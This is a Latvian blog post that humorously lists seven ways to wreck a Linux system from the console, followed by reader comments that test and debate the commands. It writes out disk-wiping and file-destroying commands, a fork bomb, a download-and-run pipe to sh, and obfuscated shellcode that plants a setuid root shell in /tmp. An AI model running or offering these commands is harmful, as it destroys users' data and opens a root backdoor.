Home » How To » 7 lieliski veidi kā konsolē piebeigt savu Linux

7 lieliski veidi kā konsolē piebeigt savu Linux

1. Code:
rm -rf /

2. Code:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ =
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
3. Code:

mkfs.ext3 /dev/sda

4. Code:

:( ){:|:&};:

5. Code:

any_command > /dev/sda

6. Code:

wget http://some_untrusted_source -O- | sh

7. Code:

mv /home/yourhomedirectory/* /dev/null

Šis vairāk humoram un nedaudz pamācība pilnīgam iesācējam. Unix sistēma root lietotājam dod maksimālas iespējas… Visu mēģinājis neesmu, bet 1. Code un 7. Code darbojas perfekti.


Tags: ,

10 Responses

  1. avatar fate saka:

    1. Klasika
    2. Patlaban nejūtos gana kruts, lai tur urbots iekšā, un saprastu, ko tas dara.
    3. Duh.
    4. Nope, forkbomb nav tik bīstams.
    5. Mhm, viela pārdomām par to, cik viegli root var iznīcināt visu, kam nav droši backupi.
    6. Galīgi nav garantēts, ka būs slikti.
    7. “sudo mv $HOME /dev/null” tikai tas nepiebeigs sistēmu, bet gan tikai jūzera failus.

  2. avatar Christian saka:

    Nav tik bīstams, nav tik bīstams, BET… Cilvēkiem, kuri mīl “ērtības labad” atstāt noklusētās root tiesības, pamats bažām- jebkurš var piedāvāt lejupielādēt tādu bash-u – piemēram, it kā foršu tūli vai eye candy rīku…
    Tas tā- pamats pārdomām par malware iespējamību uz linux… ;)
    Bet, varbūt, man nav taisnība un tik un tā viss ir čikeniekā?

  3. avatar fate saka:

    1. Nekādu root nevajag – palaid forkbomb kā jūzeris – tāpat būs “jautri”, ja vien nav kārtīgi limitēti sistēmas resursi.
    2. Kāds tev malware? Kā minimums jāpievieno .bashrc, lai to nosauktu par malware.
    3. Jā, lielā mērā tev nav taisnība (tādēļ rekomendēju uzzināt vairāk par drošību, lai vari pēc tam pamācīt citus).

  4. avatar te nu bij' saka:

    1. rm -rf /
    rm: it is dangerous to operate recursively on `/’
    rm: use –no-preserve-root to override this failsafe

    2. char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ =
    bash: syntax error near unexpected token `(‘

    3. mkfs.ext3 /dev/sda
    mke2fs 1.41.10 (10-Feb-2009)
    /dev/sda is entire device, not just one partition!

    mkfs.ext3 /dev/sda1
    mke2fs 1.41.10 (10-Feb-2009)
    /dev/sda1 is mounted; will not make a filesystem here!

    4. :( ){:|:&};:
    bash: syntax error near unexpected token `{:’

    5.foo > /dev/sda
    bash: /dev/sda: Permission denied

    6. tāpat skaidrs ka nedarbosies.

    7. mv /home/user/* /dev/null
    mv: target `/dev/null’ is not a directory

  5. avatar Armands saka:

    @te nu bij’
    Ne visi lieto bash un sistēmas, kas seko līdzi rm komandas darbībām… Piekrītu, ka dažām komandām pietrūkst parametru un prasās pēc mūsdienīgākiem uzlabojumiem, bet klasika “rm -rf /” spēj nodarīt lielu ļaunumu…

  6. avatar te nu bij' saka:

    Es tik gribēju paekspermentēt un parādīt output arī cietiem.
    3. ir vienkārši jāpielabo. “umount /dev/sda1 && mkfs.ext3 /dev/sda1 [argumenti -whatever]” Vismaz uz draiviem kas nav norādīti fstabs šis caurums darbojas.

  7. avatar fate saka:

    *facepalm*
    3. Garām. Tas nav caurums, jo root būtība ir tiesības smagi sačakarēt sistēmu – tāpēc jau ir jābūt kontrolei, kam ir pieejamas root permas. Un atmontēt var to, kas nav lietošanā. / pēc būtības ir gandrīz visu laiku lietošanā, tādēļ to nevar tā vienkārši atmontēt (un sekas tam būtu diezgan interesantas). Var vienīgi mēģināt “mount -f -o remount,ro /”, taču arī tas visdrīzāk neiec cauri, ja kāda programma lieto /.
    4. tev ir drukas kļūda, aizvāc to ` no rindiņas sākuma, un aiziet jūriņā!
    5. Bet tu to kā root izdarīji? Un kas tas tāds foo vispār ir?

  8. avatar Jancis saka:

    uz trešo iekritu domādams ka mainu FS attālinātās mašīnas montētajam diskam. diemžēl sajaucu konsoles un izdariju to ar savu datoru :D visi dati metami, neko nevarēju atjaunot

  9. avatar Armands saka:

    @Jancis
    Lūk kādam būšu palīdzējis :)

  10. avatar te nu bij' saka:

    Root piemontētās partīcijas parastais lietotājs nevar nomontēt un sabojāt, punkts. Ja dari to ar root permisijām, tad tas vairs nav caurums.

© Atvērtās ziņas
CyberChimps